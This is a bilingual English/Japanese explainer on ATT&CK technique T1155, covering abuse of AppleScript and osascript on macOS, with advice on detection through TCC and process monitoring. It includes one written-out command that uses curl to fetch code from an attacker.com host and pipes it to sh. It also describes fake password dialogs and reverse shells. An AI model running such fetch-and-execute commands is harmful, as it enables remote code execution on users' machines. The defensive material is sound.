macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.
AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here".
T1155「AppleScript」 は、macOSにおいてアプリケーション間の通信や自動化を行うためのスクリプト言語 AppleScript を悪用して、コードを実行する手法です。
この手法で攻撃者は、「macOSの正規の自動化機能を悪用した、ユーザーに気づかれにくい操作」を実現します。
AppleScriptは、スクリプトエディタで作成されたファイルのほか、コマンドラインツールの osascript を通じて実行されます。
osascript -e 'do shell script "curl [http://attacker.com/malware](http://attacker.com/malware) | sh"'osascript コマンドを使用すると、バックグラウンドでスクリプトを走らせることができるため、攻撃者はファイルを作らずに(ファイルレスで)メモリ上で直接命令を実行します。with administrator privileges というコマンドを使い、ユーザーに「システムの設定を変更するためにパスワードが必要です」といった正規のシステムメッセージに似た偽画面を出します。macOSのプライバシー制限機能(TCC)を正しく理解し、監視することが重要です。
osascript が実行された際の引数や、ネットワーク通信を伴う動作をしていないかを記録・監視します。osascript が起動されるといった、通常ではあり得ないプロセスツリーの発生を検知します。最近のmacOSでは、AppleScriptが他のアプリを制御しようとすると、ユーザーに明確な許可を求めるダイアログが表示されます。このダイアログが「なぜ今出たのか」を分析することが、インシデント初動における重要なチェックポイントとなります。